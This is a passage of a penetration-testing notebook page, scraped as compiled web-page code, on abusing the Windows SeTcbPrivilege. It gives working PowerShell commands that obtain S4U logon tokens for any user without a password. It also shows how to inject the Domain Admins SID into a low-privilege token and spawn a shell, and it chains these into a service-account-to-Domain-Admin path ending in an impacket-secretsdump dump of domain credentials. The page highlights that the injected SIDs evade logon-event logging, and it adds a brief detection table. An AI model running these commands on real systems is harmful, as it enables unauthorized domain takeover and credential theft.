`}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$env:COMPUTERNAME`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` -AdditionalGroup `}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$sid`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#DCDCAA`,\"--shiki-dark\":`#DCDCAA`},children:`New-Win32Process`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` -Token `}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$token`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` -CommandLine `}),_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:`\"cmd.exe\"`})]}),`\n`]})})}),`\n`,_jsx(Heading,{level:`3`,id:`other-tools`,children:`Other Tools`}),`\n`,_jsxs(Table,{children:[_jsx(_components.thead,{children:_jsxs(_components.tr,{children:[_jsx(_components.th,{children:`Tool`}),_jsx(_components.th,{children:`Use`})]})}),_jsxs(_components.tbody,{children:[_jsxs(_components.tr,{children:[_jsx(_components.td,{children:_jsx(_components.a,{href:`https://github.com/hatRiot/token-priv`,children:`token-priv`})}),_jsx(_components.td,{children:`Standalone SeTcb exploit binary (full S4U chain)`})]}),_jsxs(_components.tr,{children:[_jsx(_components.td,{children:_jsx(_components.a,{href:`https://github.com/antonioCoco/RunasCs`,children:`RunasCs`})}),_jsx(_components.td,{children:`Run as another user, supports S4U`})]}),_jsxs(_components.tr,{children:[_jsx(_components.td,{children:_jsx(_components.a,{href:`https://github.com/BeichenDream/SharpToken`,children:`SharpToken`})}),_jsx(_components.td,{children:`C# token manipulation`})]})]})]}),`\n`,_jsx(_components.hr,{}),`\n`,_jsx(Heading,{level:`2`,id:`group-sid-injection`,children:`Group SID Injection`}),`\n`,_jsxs(_components.p,{children:[_jsx(_components.code,{children:`LsaLogonUser`}),`’s `,_jsx(_components.code,{children:`LocalGroups`}),` parameter accepts a `,_jsx(_components.code,{children:`TOKEN_GROUPS`}),` the LSA adds with no validation — put any SID in a token. Inject Domain Admins (`,_jsx(_components.code,{children:`S-1-5-21-...-512`}),`) into a low-priv user’s token when S4U for a DA fails (DC unreachable):`]}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`3`,language:`powershell`,children:_jsx(_components.pre,{className:`shiki shiki-themes dark-plus dark-plus`,style:{backgroundColor:`#0B0C0E`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},language:`powershell`,children:_jsxs(_components.code,{language:`powershell`,numberOfLines:`3`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$daSid`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` = `}),_jsx(_components.span,{style:{color:`#DCDCAA`,\"--shiki-dark\":`#DCDCAA`},children:`Get-NtSid`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` -Sddl `}),_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:`\"S-1-5-21-XXXX-XXXX-XXXX-512\"`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$token`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` = `}),_jsx(_components.span,{style:{color:`#DCDCAA`,\"--shiki-dark\":`#DCDCAA`},children:`Get-NtToken`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` -S4U -User `}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$env:USERNAME`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` -Domain `}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$env:COMPUTERNAME`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` -AdditionalGroup `}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$daSid`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#DCDCAA`,\"--shiki-dark\":`#DCDCAA`},children:`New-Win32Process`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` -Token `}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$token`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` -CommandLine `}),_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:`\"cmd.exe\"`})]}),`\n`]})})}),`\n`,_jsx(Warning,{children:_jsx(_components.p,{children:`Injected SIDs do NOT appear in the 4624 logon event group list — stealthy. See Detection below.`})}),`\n`,_jsx(_components.hr,{}),`\n`,_jsx(Heading,{level:`2`,id:`practical-chain-—-service-account-to-domain-admin`,children:`Practical Chain — Service Account to Domain Admin`}),`\n`,_jsx(_components.p,{children:`Service account with SeTcbPrivilege (vendor required it), not local admin:`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`3`,language:`powershell`,children:_jsx(_components.pre,{className:`shiki shiki-themes dark-plus dark-plus`,style:{backgroundColor:`#0B0C0E`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},language:`powershell`,children:_jsxs(_components.code,{language:`powershell`,numberOfLines:`3`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#DCDCAA`,\"--shiki-dark\":`#DCDCAA`},children:`Import-Module`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` NtObjectManager`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$token`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` = `}),_jsx(_components.span,{style:{color:`#DCDCAA`,\"--shiki-dark\":`#DCDCAA`},children:`Get-NtToken`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` -S4U -User `}),_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:`\"da_admin\"`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` -Domain `}),_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:`\"CORP\"`}),_jsx(_components.span,{style:{color:`#6A9955`,\"--shiki-dark\":`#6A9955`},children:` # or SYSTEM / NT AUTHORITY`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#DCDCAA`,\"--shiki-dark\":`#DCDCAA`},children:`New-Win32Process`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` -Token `}),_jsx(_components.span,{style:{color:`#9CDCFE`,\"--shiki-dark\":`#9CDCFE`},children:`$token`}),_jsx(_components.span,{style:{color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},children:` -CommandLine `}),_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:`\"cmd.exe\"`})]}),`\n`]})})}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`2`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes dark-plus dark-plus`,style:{backgroundColor:`#0B0C0E`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#D4D4D4`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`2`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6A9955`,\"--shiki-dark\":`#6A9955`},children:`# With the DA token — dump the domain`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#DCDCAA`,\"--shiki-dark\":`#DCDCAA`},children:`impacket-secretsdump`}),_jsx(_components.span,{style:{color:`#CE9178`,\"--shiki-dark\":`#CE9178`},children:` corp.local/da_admin@DC01`}),_jsx(_components.span,{style:{color:`#569CD6`,\"--shiki-dark\":`#569CD6`},children:` -just-dc`})]}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`Works even under Credential Guard — S4U is a designed LSA feature, not a memory read.`}),`\n`,_jsx(_components.hr,{}),`\n`,_jsx(Heading,{level:`2`,id:`combine-with-other-privileges`,children:`Combine with Other Privileges`}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`+ SeImpersonatePrivilege`}),` — `,_jsx(_components.code,{children:`ImpersonateLoggedOnUser`}),` the S4U token in the current thread.`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`+ SeAssignPrimaryTokenPrivilege`}),` — `,_jsx(_components.code,{children:`CreateProcessAsUser`}),` with the token as primary (real process, survives thread death).`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`+ SeCreateTokenPrivilege`}),` — enumerate sessions via LSA, forge an indistinguishable token. See `,_jsx(_components.a,{href:`/windows-privesc/secreatetoken`,children:`SeCreateTokenPrivilege`}),`.`]}),`\n`]}),`\n`,_jsx(_components.hr,{}),`\n`,_jsx(Heading,{level:`2`,id:`detection`,children:`Detection`}),`\n`,_jsxs(Table,{children:[_jsx(_components.thead,{children:_jsxs(_components.tr,{children:[_jsx(_components.th,{children:`Event ID`}),_jsx(_components.th,{children:`Indicator`})]})}),_jsxs(_components.tbody,{children:[_jsxs(_components.tr,{children:[_jsx(_components.td,{\"data-numeric\":`true`,children:`4611`}),_jsxs(_components.td,{children:[`Trusted logon process registered with LSA — loudest signal; normally only `,_jsx(_components.code,{children:`winlogon.exe`}),` at boot`]})]}),_jsxs(_components.tr,{children:[_jsx(_components.td,{\"data-numeric\":`true`,children:`4672`}),_jsx(_components.td,{children:`Special privileges (SeTcb) on new logon`})]}),_jsxs(_components.tr,{children:[_jsx(_components.td,{\"data-numeric\":`true`,children:`4624`}),_jsx(_components.td,{children:`Logon event — S4U shows as Type 3 (Network)`})]})]})]}),`\n`,_jsx(_components.hr,{}),`\n`,_jsx(Heading,{level:`2`,id:`quick-reference`,children:`Quick Reference`}),`\n`,_jsxs(Table,{children:[_jsx(_components.thead,{children:_jsxs(_components.tr,{children:[_jsx(_components.th,{children:`Technique`}),_jsx(_components.th,{children:`Result`})]})}),_jsxs(_components.tbody,{children:[_jsxs(_components.tr,{children:[_jsx(_components.td,{children:`S4U logon (NtObjectManager)`}),_jsx(_components.td,{children:`Token for any local/domain user`})]}),_jsxs(_components.tr,{children:[_jsx(_components.td,{children:`Group SID injection`}),_jsx(_components.td,{children:`Arbitrary group membership (e.g. Domain Admins)`})]}),_jsxs(_components.tr,{children:[_jsx(_components.td,{children:`token-priv toolset`}),_jsx(_components.td,{children:`Standalone binary, no deps`})]}),_jsxs(_components.tr,{children:[_jsx(_components.td,{children:`+ SeImpersonate / SeAssignPrimaryToken`}),_jsx(_components.td,{children:`Impersonate / spawn as the token`})]})]})]})]})}function MDXContent(props={}){const{wrapper:MDXLayout}={..._provideComponents(),...props.components};return MDXLayout?_jsx(MDXLayout,{...props,children:_jsx(_createMdxContent,{...props})}):_createMdxContent(props)}return{default:MDXContent};function _missingMdxReference(id,component){throw new Error(`Expected `+(component?`component`:`object`)+\" `\"+id+\"` to be defined: you likely forgot to import, pass, or provide it.\")}","frontmatter":{},"scope":{"codeStyling":"dark","config":{},"pageMetadata":{"title":"SeTcbPrivilege","description":"Abuse SeTcbPrivilege (Act as part of the OS) — S4U logon for any user without a password, group SID injection, and SYSTEM access via the LSA.","href":"/windows-privesc/setcb"}}},"mdxSourceWithNoJs":null},"mdxExtracts":{"tableOfContents":[{"title":"Overview","slug":"overview","depth":2,"children":[]},{"title":"Check if Enabled","slug":"check-if-enabled","depth":2,"children":[]},{"title":"S4U Logon — Token for Any User, No Password","slug":"s4u-logon-—-token-for-any-user-no-password","depth":2,"children":[{"title":"NtObjectManager (Easiest)","slug":"ntobjectmanager-easiest","depth":3,"children":[]},{"title":"Other Tools","slug":"other-tools","depth":3,"children":[]}]},{"title":"Group SID Injection","slug":"group-sid-injection","depth":2,"children":[]},{"title":"Practical Chain — Service Account to Domain Admin","slug":"practical-chain-—-service-account-to-domain-admin","depth":2,"children":[]},{"title":"Combine with Other Privileges","slug":"combine-with-other-privileges","depth":2,"children":[]},{"title":"Detection","slug":"detection","depth":2,"children":[]},{"title":"Quick Reference","slug":"quick-reference","depth":2,"children":[]}],"codeExamples":{}},"jsLinks":[],"subdomain":"bytejmp","siteName":"BookJMP","title":"SeTcbPrivilege - BookJMP","navMaps":{"firstHrefInVersion":{},"firstHrefInLanguage":{}},"lastModified":"2026-05-28T22:19:10.781Z","originalFileLocation":"windows-privesc/setcb.mdx"},"headHtml":"\u003cscript data-mint-head>(function(){var d=document.documentElement,p=\"dark\";if(!p){try{p=localStorage.getItem(\"isDarkMode\")}catch(e){}if(p==='true')p='dark';else if(p==='false')p='light';if(p!=='light'\u0026\u0026p!=='dark'\u0026\u0026p!=='system')p=\"dark\"}var r=p==='system'?(matchMedia(\"(prefers-color-scheme: dark)\").matches?'dark':'light'):p;d.classList.remove(r==='dark'?'light':'dark');d.classList.add(r);d.setAttribute(\"data-theme-preference\",p)})();\u003c/script>\u003cmeta data-mint-head name=\"description\" content=\"Abuse SeTcbPrivilege (Act as part of the OS) — S4U logon for any user without a password, group SID injection, and SYSTEM access via the LSA.\">\u003cmeta data-mint-head name=\"application-name\" content=\"BookJMP\">\u003cmeta data-mint-head name=\"generator\" content=\"Mintlify\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"192x192\" href=\"/mintlify-assets/_mintlify/favicons/bytejmp/9y8Qv5fh1ezKWZc8/_generated/favicon/android-chrome-192x192.png\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"apple-touch-icon\" type=\"image/png\" sizes=\"180x180\" href=\"/mintlify-assets/_mintlify/favicons/bytejmp/9y8Qv5fh1ezKWZc8/_generated/favicon/apple-touch-icon.png\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"16x16\" href=\"/mintlify-assets/_mintlify/favicons/bytejmp/9y8Qv5fh1ezKWZc8/_generated/favicon/favicon-16x16.png\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"32x32\" href=\"/mintlify-assets/_mintlify/favicons/bytejmp/9y8Qv5fh1ezKWZc8/_generated/favicon/favicon-32x32.png\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"shortcut icon\" type=\"image/x-icon\" href=\"/mintlify-assets/_mintlify/favicons/bytejmp/9y8Qv5fh1ezKWZc8/_generated/favicon/favicon.ico\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"192x192\" href=\"/mintlify-assets/_mintlify/favicons/bytejmp/9y8Qv5fh1ezKWZc8/_generated/favicon-dark/android-chrome-192x192.png\" media=\"(prefers-color-scheme: dark)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"16x16\" href=\"/mintlify-assets/_mintlify/favicons/bytejmp/9y8Qv5fh1ezKWZc8/_generated/favicon-dark/favicon-16x16.png\" media=\"(prefers-color-scheme: dark)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"32x32\" href=\"/mintlify-assets/_mintlify/favicons/bytejmp/9y8Qv5fh1ezKWZc8/_generated/favicon-dark/favicon-32x32.png\" media=\"(prefers-color-scheme: dark)\">\u003clink data-mint-head rel=\"shortcut icon\" type=\"image/x-icon\" href=\"/mintlify-assets/_mintlify/favicons/bytejmp/9y8Qv5fh1ezKWZc8/_generated/favicon-dark/favicon.ico\" media=\"(prefers-color-scheme: dark)\">\u003cmeta data-mint-head property=\"og:title\" content=\"SeTcbPrivilege - BookJMP\">\u003cmeta data-mint-head property=\"og:description\" content=\"Abuse SeTcbPrivilege (Act as part of the OS) — S4U logon for any user without a password, group SID injection, and SYSTEM access via the LSA.\">\u003cmeta data-mint-head property=\"og:site_name\" content=\"BookJMP\">\u003cmeta data-mint-head property=\"og:url\" content=\"https://docs.bytejmp.com/windows-privesc/setcb\">\u003cmeta data-mint-head property=\"og:type\" content=\"website\">\u003cmeta data-mint-head property=\"og:image\" content=\"https://bytejmp.mintlify.site/_mintlify/api/og/v2?division=Privilege+Abuse\u0026amp;title=SeTcbPrivilege\u0026amp;description=Abuse+SeTcbPrivilege+%28Act+as+part+of+the+OS%29+%E2%80%94+S4U+logon+for+any+user+without+a+password%2C+group+SID+injection%2C+and+SYSTEM+access+via+the+LSA.\u0026amp;theme=01ca28957a1ddb56ca7ef2a2\u0026amp;signature=bc2c020d851a9fc039beaf68de21c5a7755b18d85972903fe1837a2d76581ba0\">\u003cmeta data-mint-head property=\"og:image:width\" content=\"1200\">\u003cmeta data-mint-head property=\"og:image:height\" content=\"630\">\u003cmeta data-mint-head name=\"twitter:card\" content=\"summary_large_image\">\u003cmeta data-mint-head name=\"twitter:title\" content=\"SeTcbPrivilege - BookJMP\">\u003cmeta data-mint-head name=\"twitter:description\" content=\"Abuse SeTcbPrivilege (Act as part of the OS) — S4U logon for any user without a password, group SID injection, and SYSTEM access via the LSA.\">\u003cmeta data-mint-head name=\"twitter:image\" content=\"https://bytejmp.mintlify.site/_mintlify/api/og/v2?division=Privilege+Abuse\u0026amp;title=SeTcbPrivilege\u0026amp;description=Abuse+SeTcbPrivilege+%28Act+as+part+of+the+OS%29+%E2%80%94+S4U+logon+for+any+user+without+a+password%2C+group+SID+injection%2C+and+SYSTEM+access+via+the+LSA.\u0026amp;theme=01ca28957a1ddb56ca7ef2a2\u0026amp;signature=bc2c020d851a9fc039beaf68de21c5a7755b18d85972903fe1837a2d76581ba0\">\u003cmeta data-mint-head name=\"twitter:image:width\" content=\"1200\">\u003cmeta data-mint-head name=\"twitter:image:height\" content=\"630\">\u003cmeta data-mint-head name=\"msapplication-config\" content=\"/mintlify-assets/_mintlify/favicons/bytejmp/9y8Qv5fh1ezKWZc8/_generated/favicon/browserconfig.xml\">\u003cmeta data-mint-head name=\"apple-mobile-web-app-title\" content=\"BookJMP\">\u003cmeta data-mint-head name=\"msapplication-TileColor\" content=\"#ed2d3a\">\u003clink data-mint-head rel=\"canonical\" href=\"https://docs.bytejmp.com/windows-privesc/setcb\">\u003clink data-mint-head rel=\"alternate\" type=\"application/xml\" href=\"/sitemap.xml\">\u003clink data-mint-head rel=\"alternate\" type=\"text/markdown\" href=\"/windows-privesc/setcb.md\">\u003cscript data-mint-head type=\"application/ld+json\">{\"@context\":\"https://schema.org\",\"@graph\":[{\"@type\":\"Organization\",\"@id\":\"https://docs.bytejmp.com/#organization\",\"name\":\"BookJMP\",\"url\":\"https://docs.bytejmp.com\"},{\"@type\":\"WebSite\",\"@id\":\"https://docs.bytejmp.com#website\",\"name\":\"BookJMP\",\"url\":\"https://docs.bytejmp.com\",\"publisher\":{\"@id\":\"https://docs.bytejmp.com/#organization\"}},{\"@type\":\"WebPage\",\"@id\":\"https://docs.bytejmp.com/windows-privesc/setcb#webpage\",\"url\":\"https://docs.bytejmp.com/windows-privesc/setcb\",\"name\":\"SeTcbPrivilege\",\"description\":\"Abuse SeTcbPrivilege (Act as part of the OS) — S4U logon for any user without a password, group SID injection, and SYSTEM access via the LSA.\",\"dateModified\":\"2026-05-28T22:19:10.781Z\",\"isPartOf\":{\"@id\":\"https://docs.bytejmp.com#website\"},\"breadcrumb\":{\"@id\":\"https://docs.bytejmp.com/windows-privesc/setcb#breadcrumb\"}},{\"@type\":\"BreadcrumbList\",\"@id\":\"https://docs.bytejmp.com/windows-privesc/setcb#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Windows\",\"item\":\"https://docs.bytejmp.com/windows-privesc/checklist\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Privilege Abuse\",\"item\":\"https://docs.bytejmp.com/windows-privesc/potatoes\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"SeTcbPrivilege\",\"item\":\"https://docs.bytejmp.com/windows-privesc/setcb\"}]},{\"@type\":[\"Article\",\"TechArticle\"],\"@id\":\"https://docs.bytejmp.com/windows-privesc/setcb#article\",\"headline\":\"SeTcbPrivilege\",\"name\":\"SeTcbPrivilege\",\"description\":\"Abuse SeTcbPrivilege (Act as part of the OS) — S4U logon for any user without a password, group SID injection, and SYSTEM access via the LSA.\",\"url\":\"https://docs.bytejmp.com/windows-privesc/setcb\",\"mainEntityOfPage\":{\"@id\":\"https://docs.bytejmp.com/windows-privesc/setcb#webpage\"},\"dateModified\":\"2026-05-28T22:19:10.781Z\",\"publisher\":{\"@id\":\"https://docs.bytejmp.com/#organization\"},\"isPartOf\":{\"@id\":\"https://docs.bytejmp.com#website\"}}]}\u003c/script>\u003cscript data-mint-head type=\"application/ld+json\">{\"@context\":\"https://schema.org\",\"@type\":\"WebSite\",\"name\":\"BookJMP\",\"publisher\":{\"@type\":\"Organization\",\"name\":\"BookJMP\"},\"provider\":{\"@type\":\"Organization\",\"name\":\"Mintlify\",\"url\":\"https://mintlify.com\"}}\u003c/script>","agentPointerHref":"/windows-privesc/setcb.md","siteName":"BookJMP","nav":{"global":null,"tabs":[{"tab":"General","icon":"square-terminal","pages":[{"title":"General","href":"/introduction"}]},{"tab":"Network","icon":"network-wired","pages":[{"title":"Network","href":"/network/overview"}]},{"tab":"Privesc","icon":"arrow-up-right-dots","pages":[{"title":"Introduction","href":"/privesc/overview"},{"group":"Windows","pages":[{"title":"Enumeration Checklist","href":"/windows-privesc/checklist"},{"title":"WinPEAS / Automated Enumeration","href":"/windows-privesc/winpeas"},{"group":"Credential Access","pages":[{"title":"Credential Harvesting","href":"/windows-privesc/credential-harvesting"},{"title":"Cached GPP Passwords","href":"/windows-privesc/gpp-passwords"},{"title":"Kerberoasting (Local)","href":"/windows-privesc/kerberoasting"},{"title":"LAPS Enumeration","href":"/windows-privesc/laps"},{"title":"LSASS Dump (Without Mimikatz)","href":"/windows-privesc/lsass-dump"},{"title":"Mimikatz","href":"/windows-privesc/mimikatz"},{"title":"Clipboard \u0026 Browser Credentials","href":"/windows-privesc/clipboard-browser"},{"title":"Sticky Notes","href":"/windows-privesc/sticky-notes"},{"title":"PowerShell Transcripts \u0026 Logging","href":"/windows-privesc/powershell-logging"},{"title":"Registry Permissions","href":"/windows-privesc/registry-permissions"}]},{"group":"Privilege Abuse","pages":[{"title":"Potato Attacks","href":"/windows-privesc/potatoes"},{"title":"SeBackupPrivilege","href":"/windows-privesc/sebackup"},{"title":"SeRestorePrivilege","href":"/windows-privesc/serestore"},{"title":"SeTakeOwnershipPrivilege","href":"/windows-privesc/setakeownership"},{"title":"SeDebugPrivilege","href":"/windows-privesc/sedebug"},{"title":"SeLoadDriverPrivilege","href":"/windows-privesc/seloaddriver"},{"title":"SeManageVolumePrivilege","href":"/windows-privesc/semanagevolume"},{"title":"SeCreateTokenPrivilege","description":"Deep exploitation of SeCreateTokenPrivilege — forge arbitrary access tokens with NtCreateToken, impersonate any identity, escalate to SYSTEM or Domain Admin.","href":"/windows-privesc/secreatetoken"},{"title":"SeTcbPrivilege","href":"/windows-privesc/setcb"}]},{"group":"Exploitation","pages":[{"title":"Kernel Exploits","description":"Windows kernel exploitation: finding missing patches with Windows Exploit Suggester and common CVEs.","href":"/windows-privesc/kernel-exploits"},{"title":"Service Exploits","href":"/windows-privesc/service-exploits"},{"title":"Service Recovery Actions","href":"/windows-privesc/service-recovery"},{"title":"PrintNightmare","href":"/windows-privesc/printnightmare"},{"title":"Misconfigurations","href":"/windows-privesc/misconfigurations"},{"title":"Insecure GUI Applications","href":"/windows-privesc/insecure-gui"},{"title":"Privileged Groups","href":"/windows-privesc/privileged-groups"},{"title":"WSUS Exploitation","href":"/windows-privesc/wsus"}]},{"group":"Defense Evasion","pages":[{"title":"AppLocker Bypass","href":"/windows-privesc/applocker-bypass"},{"title":"UAC Bypass","href":"/windows-privesc/uac-bypass"}]},{"group":"Post-Exploitation","pages":[{"title":"From High to SYSTEM","href":"/windows-privesc/high-to-system"},{"title":"Enable RDP","href":"/windows-privesc/enable-rdp"},{"title":"File Transfer","href":"/windows-privesc/transfer"}]}]},{"group":"Linux","pages":[{"title":"Enumeration Checklist","href":"/linux-privesc/checklist"},{"title":"LinPEAS / LinEnum","href":"/linux-privesc/linpeas"},{"group":"Credential Access","pages":[{"title":"Credential Hunting","href":"/linux-privesc/credential-hunting"},{"title":"SSH Exploitation","href":"/linux-privesc/ssh-exploitation"}]},{"group":"Sudo \u0026 Permissions","pages":[{"title":"Sudo Abuse","href":"/linux-privesc/sudo-abuse"},{"title":"Sudo Token Reuse","href":"/linux-privesc/sudo-token-reuse"},{"title":"SUID / SGID","href":"/linux-privesc/suid-sgid"},{"title":"Capabilities","href":"/linux-privesc/capabilities"},{"title":"Editing /etc/passwd","href":"/linux-privesc/passwd-editing"},{"title":"Groups-based Privesc","href":"/linux-privesc/groups"}]},{"group":"Services \u0026 Jobs","pages":[{"title":"Cron Jobs","href":"/linux-privesc/cron-jobs"},{"title":"Writable Systemd Services","href":"/linux-privesc/systemd-services"},{"title":"Logrotate","href":"/linux-privesc/logrotate"},{"title":"Unix Socket Abuse","href":"/linux-privesc/socket-abuse"}]},{"group":"Hijacking \u0026 Libraries","pages":[{"title":"Shared Library Hijacking","href":"/linux-privesc/shared-libraries"},{"title":"Python Library Hijacking","href":"/linux-privesc/python-library-hijacking"},{"title":"NFS no_root_squash","href":"/linux-privesc/nfs"}]},{"group":"Kernel \u0026 CVEs","pages":[{"title":"Kernel Exploits","href":"/linux-privesc/kernel-exploits"}]},{"group":"Container Breakout","pages":[{"title":"Docker / LXD Escape","href":"/linux-privesc/docker-lxd"}]},{"group":"Post-Exploitation","pages":[{"title":"Screen / tmux Hijacking","href":"/linux-privesc/session-hijacking"},{"title":"Restricted Shell Escape","href":"/linux-privesc/restricted-shell"}]}]}]},{"tab":"Active Directory","icon":"building-columns","pages":[{"title":"Active Directory","href":"/active-directory/overview"}]},{"tab":"Mobile","icon":"mobile","pages":[{"title":"Mobile","href":"/mobile"}]},{"tab":"Pwn","icon":"bug","pages":[{"title":"Pwn","href":"/pwn"}]},{"tab":"Web","icon":"globe","pages":[{"title":"Web","href":"/web"}]},{"tab":"Wi-Fi","icon":"wifi","pages":[{"title":"Wi-Fi","href":"/wifi/overview"}]}]},"basePath":"","title":"SeTcbPrivilege - BookJMP","deploymentId":"dpl_57NA6NKtrcUBhuxv6Tm2hAi21TK4","buildId":"dpl_57NA6NKtrcUBhuxv6Tm2hAi21TK4","dynamics":[],"chunks":[]}